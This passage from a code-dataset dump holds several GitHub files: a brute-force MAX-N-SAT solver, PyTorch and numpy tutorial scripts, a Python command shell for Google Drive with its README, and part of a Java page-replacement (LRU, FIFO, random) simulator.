"text": "import random\n\nclass MaxNSat(object):\n def __init__(self, N, xc_num, ltrl_ind):\n self.N = N\n self.x_num = xc_num[0]\n self.c_num = xc_num[1]\n self.x_init = self.cleate_x()\n self.ltrl_ind = ltrl_ind\n\n def cleate_x(self):\n \"\"\"Cleate Random variable x\"\"\"\n return [random.choice([True, False]) for i in range(self.x_num)]\n\n def sum_satisfied_clause(self, x):\n \"\"\"Calculate number of True clauses\"\"\"\n cla_list = []\n for i in range(self.c_num):\n\n ltrl_list = []\n for l in self.ltrl_ind[i]:\n if l < 0:\n ltrl_tmp = not x[abs(l) - 1]\n else:\n ltral_tmp = x[l - 1]\n ltrl_list.append(ltrl_tmp)\n\n operation = self.operate_or(ltrl_list) \n cla_list.append(operation)\n\n return sum(c==True for c in cla_list)\n\n def solve_max_sat(self):\n \"\"\"Solve Max N Sat (Find optimal solution)\"\"\"\n x = self.x_init\n while True:\n sati_cla_num = self.sum_satisfied_clause(x)\n if sati_cla_num == self.c_num:\n break\n x = self.cleate_x()\n return x\n\n def operate_or(self, ltrl_list):\n \"\"\"Calculate OR\"\"\"\n return any(ltrl_list)\n"
},
{
"alpha_fraction": 0.5853976607322693,
"alphanum_fraction": 0.5932203531265259,
"avg_line_length": 33.8636360168457,
"blob_id": "d3e32bb723d2468c6072c4d7fc44f2259ba1df40",
"content_id": "f98bd4db2f9d2c4cb4c02c3457fb7cef4ce6652f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 767,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 22,
"path": "/benchmarks.py",
"repo_name": "Yushi-Goto/max-n-sat",
"src_encoding": "UTF-8",
"text": "def dataloader(path):\n f = open(path, encoding=\"utf8\")\n count = 0\n ltrl_ind = [] # Literal index of each clause\n while True: # Read a line from txt\n line = f.readline()\n if line:\n line = line.split() # Splitting and listing strings\n line = list(map(int, line)) # Convert list str element to int\n if count == 0:\n xc_num = line # Number of variables x and clauses\n else:\n ltrl_ind.append(line) # ADD literal index of each clause\n count += 1\n else:\n break\n f.close()\n\n N = len(ltrl_ind[0]) # Number of literals in each clause (MAX-3SAT)\n\n # (N : Number of literal), (xc_num : Number of variables x and clauses), (Literal index of each clause)\n return N, xc_num, ltrl_ind\n"
}
] | 3 |
dowobeha/pytorch_tutorial | https://github.com/dowobeha/pytorch_tutorial | 63a9f31d0ec1788d4d0eefea2c1d83fc4e9dff2f | 6686b1cc21380f314daf26818647044ace1c6977 | df4299ca19ff95377b3d1e8f6cb7ce5062dbc436 | refs/heads/master | 2020-03-17T19:33:41.509874 | 2018-11-26T01:12:57 | 2018-11-26T01:12:57 | 133,868,418 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6476923227310181,
"alphanum_fraction": 0.6603845953941345,
"avg_line_length": 20.66666603088379,
"blob_id": "049d705bd762603bdb2556f676419ef354a505ce",
"content_id": "7b2292b0b82521c2fe6aae8a4bdbb3c391949d70",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2600,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 120,
"path": "/tensor_tutorial.py",
"repo_name": "dowobeha/pytorch_tutorial",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python3\n\nimport os\nimport torch\n\nos.system(\"clear\")\n\nprint(\"Construct a 5x3 matrix, uninitialized:\")\nx = torch.empty(5, 3)\nprint(x)\nprint()\n\nprint(\"Construct a randomly initialized matrix:\")\nx = torch.rand(5, 3)\nprint(x)\nprint()\n\nprint(\"Construct a matrix filled zeros and of dtype long:\")\nx = torch.zeros(5, 3, dtype=torch.long)\nprint(x)\nprint()\n\nprint(\"Construct a tensor directly from data:\")\nx = torch.tensor([5.5, 3])\nprint(x)\nprint()\n\nprint(\"Construct a matrix filled withones and of dtype double:\")\nx = x.new_ones(5, 3, dtype=torch.double)\nprint(x)\nprint()\n\nprint(\"Create a randomly initialized tensor based on an existing tensor:\")\nx = torch.randn_like(x, dtype=torch.float)\nprint(x)\nprint()\n\nprint(\"Get the size of a tensor:\")\nprint(x.size())\nprint()\n\nprint(\"Perform addition using + operator:\")\ny = torch.rand(5, 3)\nprint(x + y)\nprint()\n\nprint(\"Perform addition using add method:\")\nprint(torch.add(x, y))\nprint()\n\nprint(\"Perform addition, providing an output tensor:\")\nresult = torch.empty(5, 3)\ntorch.add(x, y, out=result)\nprint(result)\nprint()\n\nprint(\"Perform addition in-place:\")\nresult = torch.empty(5, 3)\ntorch.add(x, y, out=result)\nprint(result)\nprint()\n\nprint(\"Perform numpy-like indexing:\")\nprint(x[:, 1])\nprint()\n\nprint(\"Perform reshaping:\")\nx = torch.randn(4, 4)\ny = x.view(16)\nz = x.view(-1, 8) # the size -1 is inferred from other dimensions\nprint(x.size(), y.size(), z.size())\nprint()\n\nprint(\"Get the scalar value of a one-element tensor:\")\nx = torch.randn(1)\nprint(x)\nprint(x.item())\nprint()\n\nprint(\"Create a numpy view of a tensor:\")\na = torch.ones(5)\nprint(a)\nb = a.numpy()\nprint(b)\nprint()\n\nprint(\"Confirm that changing the original tensor changes the numpy view:\")\na.add_(1)\nprint(a)\nprint(b)\nprint()\n\nprint(\"Create a tensor view of a numpy array:\")\nimport numpy as np\na = np.ones(5)\nb = torch.from_numpy(a)\nnp.add(a, 1, out=a)\nprint(a)\nprint(b)\nprint()\n\nprint(\"Move a tensor to GPU:\")\n# let us run this cell only if CUDA is available\n# We will use ``torch.device`` objects to move tensors in and out of GPU\nif torch.cuda.is_available():\n device = torch.device(\"cuda\") # a CUDA device object\n y = torch.ones_like(x, device=device) # directly create a tensor on G\n print(\"y:\")\n print(y)\n print(\"x (on CPU):\")\n print(x)\n x = x.to(device) # or just use strings ``.to(\"cuda\")``\n print(\"x (transferred to GPU)::\")\n print(x)\n z = x + y\n print(\"z = x + y:\")\n print(z)\n print(\"z transferred to CPU\")\n print(z.to(\"cpu\", torch.double)) # ``.to`` can also change dtype together!\nprint()\n"
},
{
"alpha_fraction": 0.6553106307983398,
"alphanum_fraction": 0.671342670917511,
"avg_line_length": 28.352941513061523,
"blob_id": "0e7cb735ca9ed341903023d2cfe2278cbc0c073b",
"content_id": "7f904d6dc18fb6e782368d29fe56e39ff1055e01",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1497,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 51,
"path": "/numpy_relu.py",
"repo_name": "dowobeha/pytorch_tutorial",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\nbatch_size = 64\ninput_dimension = 1000\nhidden_dimension = 100\noutput_dimension = 10\ntraining_iterations = 500\n\n# Create batch_size number of random input vectors\nx = np.random.randn(batch_size, input_dimension)\n\n# Create batch_size number of random \"gold standard\" label vectors\nlabels = np.random.randn(batch_size, output_dimension)\n\n# Create a random weight matrix connecting the input to the hidden layer\nw1 = np.random.randn(input_dimension, hidden_dimension)\n\n# Create a random weight matrix connecting the hidden layer to the output layer\nw2 = np.random.randn(hidden_dimension, output_dimension)\n\n# Specify a learning rate\nlearning_rate = 1e-6\n\nfor iteration in range(training_iterations):\n\n ################\n # Forward pass #\n ################\n\n # Compute value of hidden layer before activation function\n pre_h = x.dot(w1)\n\n # Apply activation function, thus creating the final values of the hidden layer\n #\n # Here we are using a rectified linear unit (ReLU) as the activation function.\n # The ReLU function is defined as f(x) = max(x, 0)\n h = np.maximum(pre_h, 0)\n\n # Calculate the output layer. No activation function is applied.\n output = h.dot(w2)\n \n\n ##################\n # Calculate loss #\n ##################\n\n # Calculate loss as the mean squared error between the actual output value and the label\n loss = np.square(output - label).mean()\n"
}
] | 2 |
arthurbdiniz/Google-Drive-Shell | https://github.com/arthurbdiniz/Google-Drive-Shell | c263be1cdc539db263fa9a801b56b28969a23bfa | 349a05fb616a8c3cdfc37e67e4fc4807e3f0cc4c | 3e3610167a43fc2cc68352967b8f602a6935d355 | refs/heads/master | 2020-03-27T11:53:44.030888 | 2018-10-02T01:32:52 | 2018-10-02T01:32:52 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5085500478744507,
"alphanum_fraction": 0.5137156844139099,
"avg_line_length": 27.06999969482422,
"blob_id": "07edb64bc2a4b747b3aa3c5c7054eb2dc521a9dd",
"content_id": "b3ee7d5cf39a90f3cf3fc985b59e71a70e0468f9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5614,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 200,
"path": "/main.py",
"repo_name": "arthurbdiniz/Google-Drive-Shell",
"src_encoding": "UTF-8",
"text": "from __future__ import print_function\nfrom googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\nfrom apiclient.http import MediaFileUpload\n\nfrom cmd import Cmd\nimport sys\nimport os\n\n# If modifying these scopes, delete the file token.json.\n# Get yout\n# https://developers.google.com/sheets/api/quickstart/python\n# https://developers.google.com/drive/api/v3/quickstart/python\nSCOPES = [ 'https://www.googleapis.com/auth/drive',\n 'https://www.googleapis.com/auth/spreadsheets',\n 'https://www.googleapis.com/auth/drive.file']\n\nclass MyPrompt(Cmd):\n\n def do_list(self, args):\n if len(args) == 0:\n size = 20\n else:\n size = args.split()[-1]\n\n results = drive_service.files().list(\n pageSize=size, fields=\"nextPageToken, files(id, name)\").execute()\n items = results.get('files', [])\n\n if not items:\n print('No files found.')\n else:\n print('Files:')\n for item in items:\n print('{0} ({1})'.format(item['name'], item['id']))\n\n\n def do_empty_trash(self, args):\n file_deleted = drive_service.files().emptyTrash().execute()\n print('Trash Empty')\n\n def do_get(self, args):\n if len(args) == 0:\n print('Please enter the file ID')\n return\n else:\n id = args.split()[0]\n\n file = drive_service.files().get(fileId=id).execute()\n print(file)\n\n\n def do_create_folder(self, args):\n if len(args) == 0:\n name = 'none'\n else:\n name = args.split()[-1]\n\n file_metadata = {\n 'name': name,\n 'mimeType': 'application/vnd.google-apps.folder'\n }\n\n folder = drive_service.files().create(body=file_metadata,\n fields='id').execute()\n\n print(folder)\n\n def do_create_spreadsheet(self, args):\n if len(args) == 0:\n name = 'none'\n else:\n name = args.split()[-1]\n\n file_metadata = {\n 'name': name,\n 'mimeType': 'application/vnd.google-apps.spreadsheet'\n }\n\n spreadsheet = drive_service.files().create(body=file_metadata,\n fields='id').execute()\n\n print(spreadsheet)\n\n def do_create_document(self, args):\n if len(args) == 0:\n name = 'none'\n else:\n name = args.split()[-1]\n\n file_metadata = {\n 'name': name,\n 'mimeType': 'application/vnd.google-apps.document'\n }\n\n document = drive_service.files().create(body=file_metadata,\n fields='id').execute()\n\n print(document)\n\n def do_create_drawing(self, args):\n if len(args) == 0:\n name = 'none'\n else:\n name = args.split()[-1]\n\n file_metadata = {\n 'name': name,\n 'mimeType': 'application/vnd.google-apps.drawing'\n }\n\n drawing = drive_service.files().create(body=file_metadata,\n fields='id').execute()\n\n print(drawing)\n\n def do_create_form(self, args):\n if len(args) == 0:\n name = 'none'\n else:\n name = args.split()[-1]\n\n file_metadata = {\n 'name': name,\n 'mimeType': 'application/vnd.google-apps.form'\n }\n\n form = drive_service.files().create(body=file_metadata,\n fields='id').execute()\n\n print(form)\n\n def do_create_slide(self, args):\n if len(args) == 0:\n name = 'none'\n else:\n name = args.split()[-1]\n\n file_metadata = {\n 'name': name,\n 'mimeType': 'application/vnd.google-apps.presentation'\n }\n\n slide = drive_service.files().create(body=file_metadata,\n fields='id').execute()\n\n print(slide)\n\n def do_create_file(self, args):\n name = args.split()[0]\n folder_id = args.split()[1]\n path = args.split()[2]\n type = 'image/jpeg'\n\n print(name + ' ' + folder_id + ' ' + path + ' ' + type)\n\n file_metadata = {\n 'name': name,\n 'parents': [folder_id]\n }\n media = MediaFileUpload(path,\n mimetype=type,\n resumable=True)\n file_created = drive_service.files().create(body=file_metadata,\n media_body=media,\n fields='id').execute()\n print(file_created)\n\n def do_delete(self, args):\n id = args.split()[0]\n\n file_deleted = drive_service.files().delete(fileId=id).execute()\n print('File deleted')\n\n def do_logout(self, args):\n os.remove(\"token.json\")\n\n def do_quit(self, args):\n \"\"\"Quits the program.\"\"\"\n print (\"Quitting.\")\n raise SystemExit\n\n\nif __name__ == '__main__':\n\n global drive_service\n global sheets_service\n\n store = file.Storage('token.json')\n creds = store.get()\n if not creds or creds.invalid:\n flow = client.flow_from_clientsecrets('credentials.json', SCOPES)\n creds = tools.run_flow(flow, store)\n drive_service = build('drive', 'v3', http=creds.authorize(Http()))\n sheets_service = build('sheets', 'v4', http=creds.authorize(Http()))\n\n prompt = MyPrompt()\n prompt.prompt = '> '\n prompt.cmdloop('Starting prompt...')\n"
},
{
"alpha_fraction": 0.6494066715240479,
"alphanum_fraction": 0.6580366492271423,
"avg_line_length": 11.45945930480957,
"blob_id": "23de0dd89849833a409c8cf18b65823ee4fc6666",
"content_id": "8516b60a800a8d3f836221d1165e18f34c6e5d62",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 927,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 74,
"path": "/README.md",
"repo_name": "arthurbdiniz/Google-Drive-Shell",
"src_encoding": "UTF-8",
"text": "# Google-Drive-CMD\n\n### Requirements\nPython 3+ and Pip3\n\n### Step 1: Turn on the Google Sheets API\nAccess https://developers.google.com/sheets/api/quickstart/python\n\n### Step 2: Install the Google Client Library\nRun the following command to install the library using pip:\n\n```shell\npip3 install --upgrade google-api-python-client oauth2client\n```\n\nSee the library's installation page for the alternative installation options.\n\n\n### Step 3: Run it\nRun the app using the following command:\n\n```python\npython3 main.py\n```\n\n## Commands\n\n- List\n\n```\n$ list <number>\n```\n\n- Empty Trash\n\n```\n$ empty_trash\n```\n\n- Get Item\n\n```\n$ get <id>\n```\n\n- Create\n\n```\n$ create_folder <name>\n$ create_spreadsheet <name>\n$ create_document <name>\n$ create_drawing <name>\n$ create_form <name>\n$ create_slide <name>\n$ create_file <name> <id> <path> <type>\n```\n\n- Delete\n\n```\n$ delete <id>\n```\n\n- Logout\n\n```\n$ logout\n```\n\n- Quit\n\n```\n$ quit\n```\n\n\n\n\n\n"
}
] | 2 |
BrandonSu/BrandonSu.github.io | https://github.com/BrandonSu/BrandonSu.github.io | fc70cc1d0f4c0164042ab4945137c93417fc13a6 | 6733b6ec2a9fff0443413273145b1cc017b6cc1f | 76ee23f83a5dddfe5e145d8efa1d9150987a43c2 | refs/heads/master | 2023-07-08T00:51:02.578584 | 2023-06-29T20:06:54 | 2023-06-29T20:06:54 | 82,357,438 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5331870913505554,
"alphanum_fraction": 0.5506110787391663,
"avg_line_length": 39.49746322631836,
"blob_id": "ba7586b3535c32b913d499b2d93b6718e1c39313",
"content_id": "e67e1d7706f70dd6a259c409f6cd98f95a3b8822",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 15971,
"license_type": "no_license",
"max_line_length": 176,
"num_lines": 394,
"path": "/OSLab4/Assignment4.java",
"repo_name": "BrandonSu/BrandonSu.github.io",
"src_encoding": "UTF-8",
"text": "import java.io.File;\nimport java.io.FileNotFoundException;\nimport java.net.URL;\nimport java.util.Scanner;\nimport java.util.ArrayList;\npublic class Assignment4 {\n\tpublic static int randCtr = 0;\t\t\n\tpublic static int randomOS() throws FileNotFoundException {\n\t\tURL url = Assignment4.class.getResource(\"random-numbers\");\n\t\tFile f = new File(url.getPath());\n\t\tScanner input = new Scanner(f);\n\t\tint x=0;\n\t\tint ctr = randCtr;\n\t\trandCtr++;\n\t\twhile (ctr >=0){\n\t\t\tx = input.nextInt();\t\n\t\t\tctr--;\n\t\t}\n\t\tinput.close();\n\t\treturn x;\n\t}\n\tpublic static void main(String[] args) throws FileNotFoundException {\n\t\t/*\n\t\t * Eclipse testing\n\t\tSystem.out.println(\"Please enter filename\");\n\t\tScanner userIn = new Scanner(java.lang.System.in);\n\t//\tString fileName = userIn.next();\n\t\t\n\t\tString fileName = \"input14\";\n\t\t\n\t\tURL url = Assignment4.class.getResource(fileName);\n\t\tFile f = new File(url.getPath());\n\t\tScanner input = new Scanner(f);\n\t\tSystem.out.println(fileName);\n\t\t*/\t\t\n\t\t/*\tM, the machine size in words.\n\t\tP, the page size in words.\n\t\tS, the size of a process, i.e., the references are to virtual addresses 0..S-1. \n\t\tJ, the ‘‘job mix’’, which determines A, B, and C, as described below.\n\t\tN, the number of references for each process.\n\t\tR, the replacement algorithm, FIFO, RANDOM, or LRU. */\t\n\t\tint m = Integer.parseInt(args[0]);\n\t\tint p = Integer.parseInt(args[1]);\n\t\tint s = Integer.parseInt(args[2]);\n\t\tint J = Integer.parseInt(args[3]);\n\t\tint n = Integer.parseInt(args[4]);\n\t\tString algo = args[5];\n\t\tint debug = Integer.parseInt(args[6]);\n\t\t/*\n\t\t * For eclipse testing\n\t\tint m = input.nextInt();\n\t\tint p = input.nextInt();\n\t\tint s = input.nextInt(); // the like range for word number\n\t\tint J = input.nextInt(); //refers to how many processes therell be \n\t\tint n = input.nextInt(); // this number times ^ # of processes = the time\n\t\tString algo = input.next();\n\t\tint debug = input.nextInt(); //optional debugging thing\n\t\t*/\n\t\tint numSlots = m/p; //number of possible frames to put things in\t\n\t\tSystem.out.println(\"The machine size is \" + m + \".\");\n System.out.println(\"The page size is \" + p + \".\");\n System.out.println(\"The job size is \" + s + \".\");\n System.out.println(\"The job mix number is \" + J + \".\");\n System.out.println(\"The number of references per process is \" + n + \".\");\n System.out.println(\"The replacement algorithm is \" + algo + \".\");\n System.out.println(\"The level of debugging output is \" + debug + \".\\n\");\n int numProc=0;\n // double [][] probability;\n ArrayList<double[]> probability = new ArrayList<double[]>(); \n\t\tif (J == 1){\n\t\t\tnumProc = 1;\n\t\t\tdouble[] prob = {1,0,0,0};\n\t\t\tprobability.add(prob);\t\t\t\n\t\t\t//probabiliyy.get(0) refers to the first set, probability.get(0)[0] = the 1 thats for A \t\t\t\n\t\t} else if (J==2){\n\t\t\tnumProc =4;\n\t\t\t//all A = 100%\n\t\t\tdouble[] prob = {1,0,0,0};\n\t\t\tprobability.add(prob);\t\n\t\t\tprobability.add(prob);\t\n\t\t\tprobability.add(prob);\t\n\t\t\tprobability.add(prob);\t\t\t\t\t\t\t\n\t\t} else if (J==3){\n\t\t\tnumProc =4;\n\t\t\t//all random = 100%\n\t\t\tdouble[] prob = {0,0,0,1};\n\t\t\tprobability.add(prob);\t\n\t\t\tprobability.add(prob);\t\n\t\t\tprobability.add(prob);\t\n\t\t\tprobability.add(prob);\n\t\t} else if (J==4){\n\t\t\tnumProc =4;\n\t\t\t//the weird one\n\t\t\tdouble[] prob1 = {0.75,0.25,0,0};\n\t\t\tdouble[] prob2 = {0.75,0,0.25,0};\n\t\t\tdouble[] prob3 = {0.75,0.125,0.125,0};\n\t\t\tdouble[] prob4 = {0.5,0.125,0.125,0.25};\n\t\t\tprobability.add(prob1);\t\n\t\t\tprobability.add(prob2);\t\n\t\t\tprobability.add(prob3);\t\n\t\t\tprobability.add(prob4);\t\t\n\t\t} else{\n\t\t\tSystem.out.println(\"J error\");\n\t\t}\t\n\t//\tSystem.out.println(probability.get(0)[0]); is the probabilities\n\t\t// to get page number\n\t\t//take word number divide by page size (p)\t\n\t\tFrame[] frames = new Frame[numSlots]; //array of frame object, with field process and page\n\t\tfor (int i=0; i < frames.length; i++){\n\t\t\tframes[i] = new Frame();\n\t\t}\n\t\tProcess[] processes = new Process[numProc];\n\t\tfor (int i = 0; i<processes.length; i++){\n\t\t\tprocesses[i] = new Process(i+1);\n\t\t\tprocesses[i].word = (111 * (i + 1)) % s;\n\t\t\tprocesses[i].resStart = new int[s/p];\n\t\t}\t\t\n\t\tint[] word = new int[numProc]; //process size refers to word number\n int[] counter = new int[numProc];\n int ctr = 1;\n for (int i = 0; i < counter.length;i++){\n \tcounter[i]=n;\n }\n double y = 0;\n double A = 0;\n double B = 0;\n double C = 0;\n boolean match = false;\n int frameNum = -10;\n int[] faults = new int[numProc];\n double[] resTimeSum = new double[numProc]; // sum \n double[] resTime = new double[numProc]; // \n double[] evictions = new double[numProc];\n \n int evictCtr=0;\n int fifoCtr = frames.length-1;\n \n while (counter[0] >0){//deceremnt counter to 0 to replicate hte 10 references each\n\t for (int i = 0; i <numProc; i++){//for each process\n\t \tfor (int j = 0; j<3; j++){\n\t \t\tmatch = false;\n\t \t\tframeNum = -10;\n\t \t\t\n\t \t\tint pageNum = processes[i].word/p;//word[i]/p;\n\t \t\tif (debug==1){\n\t \t\t\tSystem.out.printf(\"%d references word %d (page %d) at time %d: \", processes[i].id, processes[i].word, pageNum, ctr);\n\t \t\t}\n\t \t\tfor (int g = 0; g<frames.length; g++){//go thru frame list\n\t \t\t//\tSystem.out.println(frames[0].page+\": \"+pageNum+\", \"+ frames[0].process+\": \"+(i+1));\n\t \t\t\tif (frames[g].page == pageNum && frames[g].process ==i){\n\t \t\t\t\tmatch = true;\n\t \t\t\t\tframeNum = g;\n\t \t\t\t\tframes[g].lru = ctr;\n\t \t\t\t\t//System.out.println(\"True\");\n\t \t\t\t}\n\t \t\t}\n\t \t\tif (match){\n\t \t\t\tif (debug==1){\n\t \t\t\t\tSystem.out.printf(\"Hit in frame %d\", frameNum);\n\t \t\t\t}\n\t \t\t\t//resTime[i]++; \t\t\t\n\t \t\t} else{ //fault\n\t \t\t\tfaults[i]++;\n\t \t\t\tint frameUse = 0;\t\t\n\t \t\t\t//^change this part\n\t \t\t\tif (evictCtr<frames.length){ //initial times for each frame\n\t \t\t\t\tframeUse = frames.length-1;\n\t \t\t\t\twhile (frames[frameUse].used){\n\t \t\t\t\t\tframeUse--;\n\t \t\t\t\t}\t \t\t\t\t \t\t\t\t\n\t \t\t\t\tframes[frameUse].lru=ctr; //update lru to be the time of use\n\t \t\t\t\tif (debug==1){\n\t \t\t\t\t\tSystem.out.printf(\"Fault, using free frame %d\",frameUse);\n\t \t\t\t\t}\n\t \t\t\t\t//basically, upon initialization, for that processes resStart array which refers to all available pages per process\n\t \t\t\t\t//at the index= page number(bc they start at 0), the load time = ctr\n\t \t\t\t\t//then upon eviction, subtract current time - the load time stored in array\n\t \t\t\t\t//upon re entering, rewrite load time\n\t \t\t\t\t\n\t \t\t\t\tprocesses[i].resStart[pageNum] = ctr;\n\t \t\t\t\t//initialize load time\n\t \t\t\t\t\n\t \t\t\t\tevictCtr++;\n\t \t\t\t\tframes[frameUse].used = true;\n\t \t\t\t\t//resTime[i]=ctr;\n\t \t\t\t} else{\n\t \t\t\t\t// not the first time\n\t \t\t\t\t//if there was a hit in the frame, that one is now like most recently used\n\t \t\t\t\tif (algo.equals(\"lru\")){\n\t\t \t\t\t\t//want frameUse to be the smallest time for LRU\n\t\t \t\t\t\tframeUse=0;\n\t\t \t\t\t\tfor (int t=0;t<frames.length;t++){\n\t\t \t\t\t\t\tif (frames[t].lru < frames[frameUse].lru){ // if \n\t\t \t\t\t\t\t\tframeUse = t;\t \t\t\t\t\t\t\n\t\t \t\t\t\t\t}\n\t\t \t\t\t\t}\n\t\t \t\t\t\tif (debug==1){\n\t\t \t\t\t\t\tSystem.out.printf(\"Fault, evicting page %d of %d from frame %d\",frames[frameUse].page, frames[frameUse].process+1, frameUse);\n\t\t \t\t\t\t}//+1 is bc i save hte index not ID\n\t\t \t\t\t\t\n\t\t \t\t\t\tprocesses[frames[frameUse].process].residenceSum += (ctr- processes[frames[frameUse].process].resStart[frames[frameUse].page]);\n\t\t \t\t\t\t//not +1 is bc its index not ID\t\t \t\t\t\t\n\t\t \t\t\t\t//initialize the new ones\n\t\t \t\t\t\tprocesses[i].resStart[pageNum] = ctr;\n\t\t \t\t\t\t//basically, upon initialization, for that processes resStart array which refers to all available pages per process\n\t\t \t\t\t\t//at the index= page number(bc they start at 0), the load time = ctr\n\t\t \t\t\t\t//then upon eviction, subtract current time - the load time stored in array\n\t\t \t\t\t\t//upon re entering, rewrite load time\n\t\t \t\t\t\tprocesses[frames[frameUse].process].evict++;\n\t \t\t\t\t} else if (algo.equals(\"random\")) {\n\t \t\t\t\t\t//bascially, choosing which frame to evict is based on random\n\t \t\t\t\t\t//random\n\t \t\t\t\t\tframeUse=0;\n\t \t\t\t\t\tframeUse = randomOS() % frames.length;\t\t \t\t\t\t\n\t \t\t\t\t\tif (debug==1){\n\t \t\t\t\t\t\tSystem.out.printf(\"Fault, evicting page %d of %d from frame %d\",frames[frameUse].page, frames[frameUse].process+1, frameUse);\n\t \t\t\t\t\t}\n\t\t \t\t\t\t//+1 is bc i save hte index not ID\n\t\t \t\t\t\t\n\t\t \t\t\t\tprocesses[frames[frameUse].process].residenceSum += (ctr- processes[frames[frameUse].process].resStart[frames[frameUse].page]);\n\t\t \t\t\t\t//not +1 is bc its index not ID\n\t\t \t\t\t\t\n\t\t \t\t\t\t//initialize the new ones\n\t\t \t\t\t\tprocesses[i].resStart[pageNum] = ctr;\n\t\t \t\t\t\t//basically, upon initialization, for that processes resStart array which refers to all available pages per process\n\t\t \t\t\t\t//at the index= page number(bc they start at 0), the load time = ctr\n\t\t \t\t\t\t//then upon eviction, subtract current time - the load time stored in array\n\t\t \t\t\t\t//upon re entering, rewrite load time\t\n\t\t \t\t\t\tprocesses[frames[frameUse].process].evict++; \t\t\t\t\t\n\t \t\t\t\t} else if (algo.equals(\"fifo\")){\n\t \t\t\t\t\t//want frameUse to be the smallest time for LRU\t\t \t\t\t\n\t\t \t\t\t\tframeUse = fifoCtr;\n\t\t \t\t\t\t//^ just have a ctr or something\n\t\t \t\t\t\tif (debug==1){\n\t\t \t\t\t\t\tSystem.out.printf(\"Fault, evicting page %d of %d from frame %d\",frames[frameUse].page, frames[frameUse].process+1, frameUse);\n\t\t \t\t\t\t}\n\t\t \t\t\t\t//+1 is bc i save hte index not ID\t \t\t\t\t\n\t\t \t\t\t\tprocesses[frames[frameUse].process].residenceSum += (ctr- processes[frames[frameUse].process].resStart[frames[frameUse].page]);\n\t\t \t\t\t\t//not +1 is bc its index not ID\n\t\t \t\t\t\t\n\t\t \t\t\t\t//initialize the new ones\n\t\t \t\t\t\tprocesses[i].resStart[pageNum] = ctr;\n\t\t \t\t\t\t//basically, upon initialization, for that processes resStart array which refers to all available pages per process\n\t\t \t\t\t\t//at the index= page number(bc they start at 0), the load time = ctr\n\t\t \t\t\t\t//then upon eviction, subtract current time - the load time stored in array\n\t\t \t\t\t\t//upon re entering, rewrite load time\n\t\t \t\t\t\tprocesses[frames[frameUse].process].evict++;\n\t\t \t\t\t\tfifoCtr = (fifoCtr -1 +frames.length)%frames.length;\n\t \t\t\t\t}\t\t\n\t \t\t\t\telse{\n\t \t\t\t\t\tif (debug==1){\n\t \t\t\t\t\t\tSystem.out.println(\"BREAKKKKKKKK\");\n\t \t\t\t\t\t}\t \t\t\t\t\t\n\t \t\t\t\t}\n\t \t\t\t}\n\t \t\t\tframes[frameUse].page = pageNum;\n\t \t\t\tframes[frameUse].process = i;\n\t \t\t\tframes[frameUse].lru = ctr;\n\t \t\t//\tSystem.out.println(frames[0].page+\" \"+ frames[0].process);\t \t\t\t\n\t \t\t}\t \t\t \t\t\n\t \t\tif (debug==1){\n\t \t\t\tSystem.out.println();\n\t \t\t}\n\t \t\tint x = randomOS();\n\t \t\ty = x/ (Integer.MAX_VALUE + 1d);\n\t //\t\tSystem.out.println(\"uses random number: \"+x);\n\t \tA = probability.get(i)[0];\n\t B = probability.get(i)[1];\n\t C = probability.get(i)[2];\n\t if (y < A){\n\t \tprocesses[i].word = (processes[i].word+1)%s;\n\t } else if (y < A+B){\n\t \tprocesses[i].word = (processes[i].word-5+s)%s;\n\t }else if (y < A+B+C){\n\t \tprocesses[i].word = (processes[i].word+4)%s;\n\t }else {\n\t \tprocesses[i].word =randomOS()%s;\n\t }\n\t \t\tcounter[i]--;\n\t \t\tctr++;\n\t \t\tif (counter[i] ==0){\n\t \t\t\tbreak;\n\t \t\t}\n\t \t}\n\t }\n }\n System.out.println();\n \n //after while loop\n for (int i = 0; i<numProc; i++){\n \tif (processes[i].evict ==0){\n \t\tSystem.out.printf(\"Process %d had %d faults and no evictions \", i+1, faults[i]);\n \t}\n \telse{\n \t\tSystem.out.printf(\"Process %d had %d faults and %f average residency\", i+1, faults[i], (float)processes[i].residenceSum/(float)processes[i].evict); // /evictions[i]);\n \t}\n \tSystem.out.println();\n }\n int faultSum=0;\n for (int i =0; i<faults.length; i++){\n \tfaultSum += faults[i];\n }\n float resSumSum = 0;\n float evictSumSum = 0;\n for (int i = 0;i < processes.length;i++){\n \tresSumSum+=processes[i].residenceSum;\n }\n for (int i = 0;i < processes.length;i++){\n \tevictSumSum+=processes[i].evict;\n }\n System.out.println();\n if (evictSumSum>0){\n \tfloat avgavgRes = resSumSum/evictSumSum;\n \tSystem.out.printf(\"The total number of faults is %d and the overall average residency is %f\", faultSum,avgavgRes);\n \n } else{\n \tSystem.out.printf(\"The total number of faults is %d and the overall average residency is undefined bc no evictions\", faultSum);\n \n }\n System.out.println();\n \n /*\n double y = 0;\n double A = 0;\n double B = 0;\n double C = 0;\n for (int i = 0; i < n*numProc; i++){\n \tSystem.out.println(word[0]);\n \ty = randomOS() / (Integer.MAX_VALUE + 1d);\n \tA = probability.get(0)[0];\n B = probability.get(0)[1];\n C = probability.get(0)[2];\n if (y < A){\n \tword[0] = (word[0]+1)%s;\n } else if (y < A+B){\n \tword[0] = (word[0]-5+s)%s;\n }else if (y < A+B+C){\n \tword[0] = (word[0]+4)%s;\n }else {\n \tword[0] =randomOS()%s;\n }\n \t\n }*/\n \n\t\t/*\n\t\tM, the machine size in 